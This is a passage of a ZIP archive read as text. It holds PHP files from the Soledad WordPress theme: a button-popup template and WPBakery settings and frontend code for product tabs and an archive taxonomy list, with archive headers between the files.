					<span class="pcbtn-content"><?php if ( 'left' == $icon_pos ): echo $icon_html; endif; ?><?php echo do_shortcode( $text ); ?><?php if ( 'right' == $icon_pos ): echo $icon_html; endif; ?></span>
					<?php if ( 'yes' == $add_subtext && $subtext ) { ?>
                        <span class="pcbtn-subtext"><?php echo do_shortcode( $subtext ); ?></span>
					<?php } ?>
				</span>
        </a>
    </div>
    <div id="<?php echo $id; ?>"
         class="<?php echo esc_attr( $anistyle ); ?> <?php echo esc_attr( $popup_position ); ?> mfp-with-anim button-popup-content">
		<?php if ( 'text' == $popup_cstyle ) {
			echo do_shortcode( $settings['popup_content'] );
		} else if ( 'block' == $popup_cstyle && $settings['popup_block'] ) {
			$popup_render_content = '';
			$popup_block_id       = get_page_by_path( $settings['popup_block'], OBJECT, 'penci-block' )->ID;
			if ( $popup_block_id && did_action( 'elementor/loaded' ) && \Elementor\Plugin::$instance->documents->get( $popup_block_id )->is_built_with_elementor() ) {
				$popup_render_content .= penci_get_elementor_content( $popup_block_id );
			} else {
				$popup_render_content .= do_shortcode( get_post( $popup_block_id )->post_content );

				$shortcodes_custom_css = get_post_meta( $popup_block_id, '_wpb_shortcodes_custom_css', true );

				$popup_render_content .= '<style data-type="vc_shortcodes-custom-css">';
				if ( ! empty( $shortcodes_custom_css ) ) {
					$popup_render_content .= $shortcodes_custom_css;
				}
				$popup_render_content .= '</style>';
			}
			echo $popup_render_content;
		} ?>
    </div>
<?php
$id_block   = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom = Penci_Vc_Helper::get_heading_block_css( $id_block, $atts );
if ( $settings['btn_color'] ) {
	$css_custom .= $id_block . ' a span.pcbtn-content{ color:' . esc_attr( $settings['btn_color'] ) . ';}';
}
if ( $settings['btn_hcolor'] ) {
	$css_custom .= $id_block . ' a:hover span.pcbtn-content{ color:' . esc_attr( $settings['btn_color'] ) . ';}';
}
if ( $settings['popup_height'] ) {
	$css_custom .= '#penci-btn-popup-' . $block_id . '.button-popup-content{ min-height:' . esc_attr( $settings['popup_height'] ) . 'px;}';
}
if ( $settings['popup_width'] ) {
	$css_custom .= '#penci-btn-popup-' . $block_id . '.button-popup-content{ max-width:' . esc_attr( $settings['popup_width'] ) . 'px;}';
}
if ( $settings['overlay_bgcolor'] ) {
	$css_custom .= '.mfp-bg.penci-pps-' . $block_id . '{background-color:' . esc_attr( $settings['overlay_bgcolor'] ) . ';}';
}
if ( $settings['overlay_opacity'] ) {
	$css_custom .= '.mfp-ani-wrap.mfp-ready.mfp-bg.penci-pps-' . $block_id . '{opacity:' . esc_attr( $settings['overlay_opacity'] ) . ';}';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $settings['btn_size'],
	'font_style' => $settings['btn_typo'],
	'template'   => $id_block . ' span.pcbtn-content{ %s }',
) );
if ( $settings['responsive_spacing'] ) {
	$css_custom .= penci_extract_spacing_style( $id_block, $settings['responsive_spacing'] );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
wp_enqueue_script( 'penci-button-popup', PENCI_SOLEDAD_URL . '/inc/elementor/assets/js/penci-button-popup.js', array( 'jquery' ), '1.0', true );
PK     N\B6/  /  4  inc/js_composer/shortcodes/product_tabs/settings.phpnu [        <?php
vc_map( array(
	'name'                    => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Product Tabs', 'soledad' ),
	'base'                    => 'penci_product_tabs',
	'as_parent'               => array( 'only' => 'penci_product_tab' ),
	'content_element'         => true,
	'show_settings_on_create' => true,
	'weight'                  => 700,
	'html_template'           => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/product_tabs/frontend.php',
	'category'                => penci_get_theme_name( 'Soledad' ),
	'description'             => esc_html__( 'Product tabs for your marketplace', 'soledad' ),
	'icon'                    => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'params'                  => array(
		/**
		 * Title
		 */ array(
			'type'       => 'textfield',
			'heading'    => esc_html__( 'Tabs title', 'soledad' ),
			'param_name' => 'title',
		),
		/**
		 * Image
		 */ array(
			'type'             => 'attach_image',
			'heading'          => esc_html__( 'Icon image', 'soledad' ),
			'param_name'       => 'image',
			'value'            => '',
			'hint'             => esc_html__( 'Select image from media library.', 'soledad' ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),

		array(
			'type'             => 'textfield',
			'heading'          => esc_html__( 'Images size', 'soledad' ),
			'param_name'       => 'img_size',
			'hint'             => esc_html__( 'Enter image size. Example: \'thumbnail\', \'medium\', \'large\', \'full\' or other sizes defined by current theme. Alternatively enter image size in pixels: 200x100 (Width x Height). Leave empty to use \'thumbnail\' size.', 'soledad' ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'description'      => esc_html__( 'Example: \'thumbnail\', \'medium\', \'large\', \'full\' or enter image size in pixels: \'200x100\'.', 'soledad' ),
		),
		/**
		 * Style
		 */ array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Tabs color', 'soledad' ),
			'param_name'       => 'color',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Design', 'soledad' ),
			'param_name'       => 'design',
			'value'            => array(
				esc_html__( 'Default', 'soledad' )     => 'default',
				esc_html__( 'Simple', 'soledad' )      => 'simple',
				esc_html__( 'Alternative', 'soledad' ) => 'alt',
			),
			'std'              => 'default',
			'edit_field_class' => 'vc_col-sm-6 vc_column title-align',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Alignment', 'soledad' ),
			'param_name'       => 'alignment',
			'value'            => array(
				esc_html__( 'Left', 'soledad' )   => 'left',
				esc_html__( 'Center', 'soledad' ) => 'center',
				esc_html__( 'Right', 'soledad' )  => 'right',
			),
			'dependency'       => array(
				'element' => 'design',
				'value'   => array( 'default' ),
			),
			'std'              => 'center',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'textfield',
			'heading'          => esc_html__( 'Extra class name', 'soledad' ),
			'param_name'       => 'el_class',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'hint'             => esc_html__( 'If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'soledad' ),
		),
		array(
			'type'             => 'dropdown',
			'group'            => 'Layout & Design',
			'heading'          => __( 'Products Display', 'soledad' ),
			'value'            => array(
				esc_html__( 'Grid', 'soledad' )     => 'grid',
				esc_html__( 'List', 'soledad' )     => 'list',
				esc_html__( 'Carousel', 'soledad' ) => 'carousel',
			),
			'std'              => 'grid',
			'param_name'       => 'layout',
			'edit_field_class' => 'vc_col-sm-4',
		),
		array(
			'type'             => 'dropdown',
			'group'            => 'Layout & Design',
			'heading'          => __( 'Columns', 'soledad' ),
			'value'            => array(
				esc_html__( '2 Columns', 'soledad' ) => 2,
				esc_html__( '3 Columns', 'soledad' ) => 3,
				esc_html__( '4 Columns', 'soledad' ) => 4,
				esc_html__( '5 Columns', 'soledad' ) => 5,
				esc_html__( '6 Columns', 'soledad' ) => 6,
			),
			'std'              => 3,
			'param_name'       => 'columns',
			'edit_field_class' => 'vc_col-sm-4',
		),
		array(
			'type'             => 'dropdown',
			'group'            => 'Layout & Design',
			'heading'          => __( 'Tablet Columns', 'soledad' ),
			'value'            => array(
				esc_html__( '2 Columns', 'soledad' ) => 2,
				esc_html__( '3 Columns', 'soledad' ) => 3,
				esc_html__( '4 Columns', 'soledad' ) => 4,
				esc_html__( '5 Columns', 'soledad' ) => 5,
				esc_html__( '6 Columns', 'soledad' ) => 6,
			),
			'std'              => 2,
			'param_name'       => 'tablet_columns',
			'edit_field_class' => 'vc_col-sm-4',
		),
		array(
			'type'             => 'dropdown',
			'group'            => 'Layout & Design',
			'heading'          => __( 'Mobile Columns', 'soledad' ),
			'value'            => array(
				esc_html__( '2 Columns', 'soledad' ) => 2,
				esc_html__( '3 Columns', 'soledad' ) => 3,
				esc_html__( '4 Columns', 'soledad' ) => 4,
				esc_html__( '5 Columns', 'soledad' ) => 5,
				esc_html__( '6 Columns', 'soledad' ) => 6,
			),
			'std'              => 1,
			'param_name'       => 'mobile_columns',
			'edit_field_class' => 'vc_col-sm-4',
		),
		array(
			'type'             => 'textfield',
			'group'            => 'Layout & Design',
			'heading'          => __( 'Items per page', 'soledad' ),
			'std'              => '12',
			'param_name'       => 'items_per_page',
			'edit_field_class' => 'vc_col-sm-4',
		),
		array(
			'type'             => 'dropdown',
			'group'            => 'Layout & Design',
			'heading'          => __( 'Paginations', 'soledad' ),
			'value'            => array(
				esc_html__( 'Inherit', 'soledad' )           => '',
				esc_html__( 'Load more button', 'soledad' )  => 'loadmore',
				esc_html__( 'Infinit scrolling', 'soledad' ) => 'infinit',
				esc_html__( 'Next/Previous', 'soledad' )     => 'next_previous',
				esc_html__( 'Links Number', 'soledad' )      => 'links',
				esc_html__( 'Hidden', 'soledad' )            => 'none',
			),
			'std'              => '',
			'param_name'       => 'pagination',
			'edit_field_class' => 'vc_col-sm-4',
		),

		// Carousel Settings
		array(
			'type'       => 'penci_responsive_sizes',
			'group'      => 'Layout & Design',
			'heading'    => __( 'Scroll per page', 'soledad' ),
			'std'        => '3',
			'param_name' => 'scroll_per_page',
			'dependency' => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),

		array(
			'type'        => 'penci_switch',
			'group'       => 'Layout & Design',
			'heading'     => __( 'Show Next Previous Button', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'hide_prev_next_buttons',
			'dependency'  => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),

		array(
			'type'        => 'penci_switch',
			'group'       => 'Layout & Design',
			'heading'     => __( 'Show Pagination Control', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'hide_pagination_control',
			'dependency'  => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),

		array(
			'type'        => 'penci_switch',
			'group'       => 'Layout & Design',
			'heading'     => __( 'Slider Loop', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'wrap',
			'dependency'  => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),

		array(
			'type'        => 'penci_switch',
			'group'       => 'Layout & Design',
			'heading'     => __( 'Slider Autoplay', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'autoplay',
			'dependency'  => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),

		array(
			'type'       => 'textfield',
			'group'      => 'Layout & Design',
			'heading'    => __( 'Carousel Speed', 'soledad' ),
			'std'        => '300',
			'param_name' => 'speed',
			'dependency' => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),

		array(
			'type'        => 'penci_switch',
			'group'       => 'Layout & Design',
			'heading'     => __( 'Init carousel on scroll', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'scroll_carousel_init',
			'dependency'  => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),
		array(
			'type'       => 'dropdown',
			'group'      => 'Product Style',
			'heading'    => __( 'Product Style', 'soledad' ),
			'value'      => array(
				esc_html__( 'Inherit from the Theme Settings', 'soledad' ) => 'inherit',
				'Default'                                              => 'standard',
				'Style 1'                                              => 'style-1',
				'Style 2'                                              => 'style-2',
				'Style 3'                                              => 'style-3',
				'Style 4'                                              => 'style-4',
				'Style 5'                                              => 'style-5',
				'Style 6'                                              => 'style-6',
			),
			'std'        => 'style-1',
			'param_name' => 'product_style',
		),
		array(
			'type'       => 'dropdown',
			'group'      => 'Product Style',
			'heading'    => __( 'Image Size', 'soledad' ),
			'value'      => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			'param_name' => 'img_size',
		),
		array(
			'type'       => 'textfield',
			'group'      => 'Product Style',
			'heading'    => __( 'Custom Image Size', 'soledad' ),
			'value'      => '',
			'param_name' => 'img_custom_size',
		),
		array(
			'type'        => 'penci_switch',
			'group'       => 'Product Style',
			'heading'     => __( 'Sale Countdown', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'sale_countdown',
		),
		array(
			'type'        => 'penci_switch',
			'group'       => 'Product Style',
			'heading'     => __( 'Stock Progress Bar', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'stock_progress_bar',
		),
		array(
			'type'        => 'penci_switch',
			'group'       => 'Product Style',
			'heading'     => __( 'Hide Hot Label ?', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'hide_hot_label',
		),
		array(
			'type'        => 'penci_switch',
			'group'       => 'Product Style',
			'heading'     => __( 'Hide New Label ?', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'hide_new_label',
		),
		array(
			'type'       => 'penci_switch',
			'group'      => 'Product Style',
			'heading'    => __( 'Hide Sale Label ?', 'soledad' ),
			'default'    => 'no',
			'param_name' => 'hide_sale_label',
		),
		array(
			'type'       => 'penci_slider',
			'group'      => 'Product Style',
			'heading'    => __( 'Product Item Vertical Spacing', 'soledad' ),
			'min'        => '1',
			'max'        => '2000',
			'step'       => '1',
			'default'    => '',
			'units'      => '',
			'param_name' => 'item_vertical_spacing',
		),
		array(
			'type'       => 'penci_slider',
			'group'      => 'Product Style',
			'heading'    => __( 'Product Item Horizontal Spacing', 'soledad' ),
			'min'        => '1',
			'max'        => '2000',
			'step'       => '1',
			'default'    => '',
			'units'      => '',
			'param_name' => 'item_horizontal_spacing',
		),
	),
	'js_view'                 => 'VcColumnView',
) );
PK     N\]t    4  inc/js_composer/shortcodes/product_tabs/frontend.phpnu [        <?php
if ( ! function_exists( 'wpb_getImageBySize' ) ) {
	return;
}
$output                = $class = $autoplay = $header_classes = $design = '';
$item_vertical_spacing = $item_horizontal_spacing = $hide_hot_label = $hide_new_label = $hide_sale_label = '';
$atts                  = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );
$block_id                        = Penci_Vc_Helper::get_unique_id_block( 'penci_product_tabs' );
$atts['elementor']               = false;
$atts['hide_prev_next_buttons']  = 'yes' == $atts['hide_prev_next_buttons'];
$atts['hide_pagination_control'] = 'yes' == $atts['hide_pagination_control'];
$atts['wrap']                    = 'yes' == $atts['wrap'];
$atts['autoplay']                = 'yes' == $atts['autoplay'];
$atts['scroll_carousel_init']    = 'yes' == $atts['scroll_carousel_init'];
$atts['sale_countdown']          = 'yes' == $atts['sale_countdown'];
$atts['stock_progress_bar']      = 'yes' == $atts['stock_progress_bar'];
$atts['product_categories']      = 'yes' == $atts['product_categories'];
$atts['product_rating']          = 'yes' == $atts['product_rating'];
$id_product                      = '#' . $block_id;

$img_id  = preg_replace( '/[^\d]/', '', $image );
$tabs_id = 'penci-tab-' . uniqid();

// Extract tab titles
preg_match_all( '/penci_product_tab([^\]]+)/i', $content, $matches, PREG_OFFSET_CAPTURE );
$tab_titles = array();

if ( isset( $matches[1] ) ) {
	$tab_titles = $matches[1];
}

$tabs_nav        = '';
$first_tab_title = '';
$tabs_nav        .= '<ul class="products-tabs-title">';
$_i              = 0;
foreach ( $tab_titles as $tab ) {
	$_i ++;
	$tab_atts                       = shortcode_parse_atts( $tab[0] );
	$tab_atts['carousel_js_inline'] = 'yes';
	$encoded_atts                   = wp_json_encode( array_intersect_key( array_merge( $atts, $tab_atts ), penci_custom_product_query_default_args() ) );
	$icon_output                    = '';

	if ( empty( $tab_atts['icon_size'] ) ) {
		$tab_atts['icon_size'] = '25x25';
	}

	// Tab icon
	if ( isset( $tab_atts['icon'] ) ) {
		$icon_output = penci_display_icon( $tab_atts['icon'], $tab_atts['icon_size'], 25 );
	}

	if ( $_i == 1 && isset( $tab_atts['title'] ) ) {
		$first_tab_title = $tab_atts['title'];
	}
	$class = ( $_i == 1 ) ? ' active-tab-title' : '';
	if ( isset( $tab_atts['title'] ) ) {
		$query_id = strtolower( sanitize_title_with_dashes( $tab_atts['title'] ) );
		$tabs_nav .= '<li data-queryid="' . esc_attr( $query_id ) . '" data-layout="' . esc_attr( $atts['layout'] ) . '" data-atts="' . esc_attr( $encoded_atts ) . '" class="' . esc_attr( $class ) . '">' . $icon_output . '<span class="tab-label">' . $tab_atts['title'] . '</span></li>';
	}
}

$tabs_nav .= '</ul>';

$class .= ' tabs-' . $tabs_id;

$class .= ' tabs-design-' . $design;

$class .= ' ' . $el_class;

$class .= 'penci-products-tabs';

$header_classes .= ' text-' . $alignment;

?>
    <div class="elementor-element elementor-widget-container penci-product-tabs-wrapper woocommerce">
        <div id="<?php echo esc_attr( $tabs_id ); ?>"
             class="penci-products-tabs<?php echo esc_attr( $class ); ?>">
            <div class="penci-tabs-header<?php echo esc_attr( $header_classes ); ?>">
				<?php if ( ! empty( $title ) ) : ?>
                    <h4 class="tabs-name title">
						<?php
						if ( $img_id ) {
							echo penci_display_icon( $img_id, $img_size, 30 );
						}
						?>
                        <span class="tabs-text"><?php echo wp_kses( $title, penci_allow_html() ); ?></span>
                    </h4>
				<?php endif; ?>
                <div class="tabs-navigation-wrapper">
                    <span class="open-title-menu"><?php echo wp_kses( $first_tab_title, penci_allow_html() ); ?></span>
					<?php
					echo ! empty( $tabs_nav ) ? $tabs_nav : '';
					?>
                </div>
            </div>
            <div class="penci-tab-content-container">
                <div class="penci-products-preloader">
                <span class="penci-loading-icon"><span class="bubble"></span><span class="bubble"></span><span
                            class="bubble"></span></span>
                </div>
				<?php
				if ( isset( $tab_titles[0][0] ) ) {
					$first_tab_atts          = array_intersect_key( array_merge( $atts, shortcode_parse_atts( $tab_titles[0][0] ) ), penci_custom_product_query_default_args() );
					$first_tab_atts['class'] = 'active';
					penci_elementor_products_template( $first_tab_atts );
				}
				?>
            </div>

			<?php
			if ( $color ) {
				$css = '.tabs-' . esc_attr( $tabs_id ) . '.tabs-design-simple .tabs-name {';
				$css .= 'border-color: ' . esc_attr( $color ) . ';';
				$css .= '}';

				$css .= '.tabs-' . esc_attr( $tabs_id ) . '.tabs-design-default .products-tabs-title .tab-label:after,';
				$css .= '.tabs-' . esc_attr( $tabs_id ) . '.tabs-design-alt .products-tabs-title .tab-label:after {';
				$css .= 'background-color: ' . esc_attr( $color ) . ';';
				$css .= '}';

				$css .= '.tabs-' . esc_attr( $tabs_id ) . '.tabs-design-simple .products-tabs-title li.active-tab-title,';
				$css .= '.tabs-' . esc_attr( $tabs_id ) . '.tabs-design-simple .penci-owl-nav > div:hover,';
				$css .= '.tabs-' . esc_attr( $tabs_id ) . '.tabs-design-simple .wrap-loading-arrow > div:not(.disabled):hover {';
				$css .= 'color: ' . esc_attr( $color ) . ';';
				$css .= '}';

				wp_add_inline_style( 'penci-woocommerce', $css );
			}
			?>
        </div>
    </div>

<?php
$css_custom = '';
if ( $item_horizontal_spacing ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .product-layout-grid ul.products{margin-left:-{{VALUE}}px;margin-right:-{{VALUE}}px}', $item_horizontal_spacing );
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .product-layout-grid ul.products li.product{padding-left:-{{VALUE}}px;padding-right:-{{VALUE}}px}', $item_horizontal_spacing );
}

if ( $item_vertical_spacing ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .product-layout-grid ul.products li.product{margin-bottom:-{{VALUE}}px}', $item_vertical_spacing );
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .products.product-list .penci-soledad-product .penci-product-loop-inner-content{margin-bottom:-{{VALUE}}px}', $item_vertical_spacing );
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.prev.page-numbers,.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.next.page-numbers{margin-top: calc( -25px -{{VALUE}}px)}', $item_vertical_spacing );
}

if ( 'yes' == $hide_hot_label ) {
	$css_custom .= $id_product . ' .penci-soledad-product .product-labels .product-label.featured{display:none}';
}

if ( 'yes' == $hide_new_label ) {
	$css_custom .= $id_product . ' .penci-soledad-product .product-labels .product-label.new{display:none}';
}

if ( 'yes' == $hide_sale_label ) {
	$css_custom .= $id_product . ' .penci-soledad-product .product-labels .product-label.onsale{display:none}';
}


if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\f    ;  inc/js_composer/shortcodes/pc_archive_taxonomy/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_archive_taxonomy",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Archive Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_archive_taxonomy/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Archive Builder - Taxonomy', 'soledad' ),
	'description'   => 'Archive Builder - Taxonomy',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Term Listing', 'soledad' ),
			'param_name'       => 'tax_showall',
			'value'            => array(
				'All Items'    => 'all',
				'Child Items'  => 'child',
				'Custom Items' => 'custom',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'autocomplete',
			'heading'          => esc_html__( 'Select the Post Taxonomies Term.', 'soledad' ),
			'param_name'       => 'taxonomies',
			'settings'         => array(
				'multiple'       => true,
				'min_length'     => 1,
				'groups'         => false,
				'unique_values'  => true,
				'display_inline' => true,
				'delay'          => 500,
				'auto_focus'     => true,
				'save_always'    => true,
				'values'         => penci_wpbakery_taxonomies_list(),
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'autocomplete',
			'heading'          => esc_html__( 'Select the Excluded Post Taxonomies Term.', 'soledad' ),
			'param_name'       => 'taxonomies_ex',
			'settings'         => array(
				'multiple'       => true,
				'min_length'     => 1,
				'groups'         => false,
				'unique_values'  => true,
				'display_inline' => true,
				'delay'          => 500,
				'auto_focus'     => true,
				'save_always'    => true,
				'values'         => penci_wpbakery_taxonomies_list(),
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Display Style', 'soledad' ),
			'param_name'       => 'term_style',
			'value'            => array(
				'Style 1' => 's1',
				'Style 2' => 's2',
				'Style 3' => 's3',
				'Style 4' => 's4',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Align', 'soledad' ),
			'param_name'       => 'term_align',
			'value'            => array(
				'Left'   => 'left',
				'Right'  => 'right',
				'Center' => 'center',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Order by', 'soledad' ),
			'param_name'       => 'orderby',
			'value'            => array(
				'Name'       => 'name',
				'Slug'       => 'slug',
				'ID'         => 'term_id',
				'Term Order' => 'term_order',
				'Term Count' => 'count',
				'Random'     => 'rand',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Order by', 'soledad' ),
			'param_name'       => 'order',
			'value'            => array(
				'DESC' => 'desc',
				'ASC'  => 'asc',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Limit Terms to Show', 'soledad' ),
			'param_name'       => 'number',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Activate Current Viewing Term?', 'soledad' ),
			'param_name'       => 'tax_currentitem',
			'value'            => 'no',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Posts Count', 'soledad' ),
			'param_name'       => 'tax_showcount',
			'value'            => 'no',
			'edit_field_class' => 'vc_col-sm-6'
		),
	), array(
		array(
			'type'             => 'penci_slider',
			'heading'          => esc_html__( 'Horizontal Space Between Items', 'soledad' ),
			'param_name'       => 'term_spacing',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_slider',
			'heading'          => esc_html__( 'Vertical Space Between Items', 'soledad' ),
			'param_name'       => 'term_vspacing',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Term Color', 'soledad' ),
			'param_name'       => 'term_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Term Hover & Active Color', 'soledad' ),
			'param_name'       => 'term_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Term Background Color', 'soledad' ),
			'param_name'       => 'term_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Term Hover & Active Background Color', 'soledad' ),
			'param_name'       => 'term_bghcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Term Border Color', 'soledad' ),
			'param_name'       => 'term_bdcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Term Hover & Active Border Color', 'soledad' ),
			'param_name'       => 'term_bdhcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Border Style', 'soledad' ),
			'param_name'       => 'term_border_style',
			'value'            => array(
				'Dotted' => 'dotted',
				'Dashed' => 'dashed',
				'Solid'  => 'solid',
				'Double' => 'double',
				'Groove' => 'groove',
				'Ridge'  => 'ridge',
				'Inset'  => 'inset',
				'Outset' => 'outset',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Term Border Radius', 'soledad' ),
			'param_name'       => 'term_border_radius',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\؆M    ;  inc/js_composer/shortcodes/pc_archive_taxonomy/frontend.phpnu [        <?php
$settings   = vc_map_get_attributes( $this->getShortcode(), $atts );
$term_style = $settings['term_style'];
$taxonomies = $settings['taxonomies'];
$queries    = get_queried_object();
$css_class  = vc_shortcode_custom_css_class( $settings['css'] );
$class      = isset( $settings['term_align'] ) && $settings['term_align'] ? 'pctax' . $settings['term_align'] : 'pctaxleft';
$count      = '';
if ( ! isset( $queries->taxonomy ) || ( $settings['tax_showall'] == 'custom' && empty( $taxonomies ) ) ) {
	return false;
}
$settings['tax_showcount'] = $settings['tax_showcount'] == 'yes';
$block_id                  = Penci_Vc_Helper::get_unique_id_block( 'pc_archive_taxonomy' );
$args                      = [
	'taxonomy' => $queries->taxonomy,
	'orderby'  => $settings['orderby'],
	'order'    => $settings['order'],
];

if ( $settings['taxonomies_ex'] ) {
	$args['exclude'] = $settings['taxonomies_ex'];
}

if ( $settings['number'] && 'rand' != $settings['orderby'] ) {
	$args['number'] = $settings['number'];
}

if ( $settings['tax_showall'] == 'child' ) {
	$args['child_of'] = $queries->term_id;
}

$term_data    = get_queried_object();
$current_term = ! empty( $term_data ) && isset( $term_data->term_id ) && $term_data->term_id ? $term_data->term_id : '';

$terms = get_terms( $args );
if ( $terms && $settings['tax_showall'] !== 'custom' ) {

	if ( 'rand' == $settings['orderby'] ) {
		shuffle( $terms );
	}

	?>
    <div id="<?php echo $block_id;?>" class="pcab-txnm pc-tax-lists <?php echo $css_class; ?>">
        <ul class="pctmp-term-list term-style-<?php echo esc_attr( $term_style . ' ' . $class ); ?>">
			<?php
			$t_count = 0;
			foreach ( $terms as $term ) {
				$class = '';
				if ( $t_count ++ == $settings['number'] && 'rand' == $settings['orderby'] ) {
					break;
				}
				if ( $settings['tax_showcount'] ) {
					$count = '<span class="count">(' . $term->count . ')</span>';
				}
				if ( $term->term_id == $current_term && 'yes' == $settings['tax_currentitem'] ) {
					$class = ' current-item';
				}
				echo '<li><a class="pctmp-term-item' . $class . '" href="' . get_term_link( $term->term_id ) . '">' . esc_html( $term->name ) . $count . '</a></li>';
			} ?>
        </ul>
    </div>
	<?php
} elseif ( $settings['tax_showall'] == 'custom' && ! empty( $taxonomies ) ) {
	?>
    <div class="pc-tax-lists <?php echo $css_class; ?>">
        <ul class="pctmp-term-list term-style-<?php echo esc_attr( $term_style . ' ' . $class ); ?>">
			<?php foreach ( $taxonomies as $term_id ) {
				$class = '';
				$term  = get_term( $term_id );
				if ( $settings['tax_showcount'] ) {
					$count = '<span class="count">(' . $term->count . ')</span>';
				}
				if ( $term->term_id == $current_term && 'yes' == $settings['tax_currentitem'] ) {
					$class = ' current-item';
				}
				echo '<li><a class="pctmp-term-item' . $class . '" href="' . get_term_link( $term->term_id ) . '">' . esc_html( $term->name ) . $count . '</a></li>';
			} ?>
        </ul>
    </div>
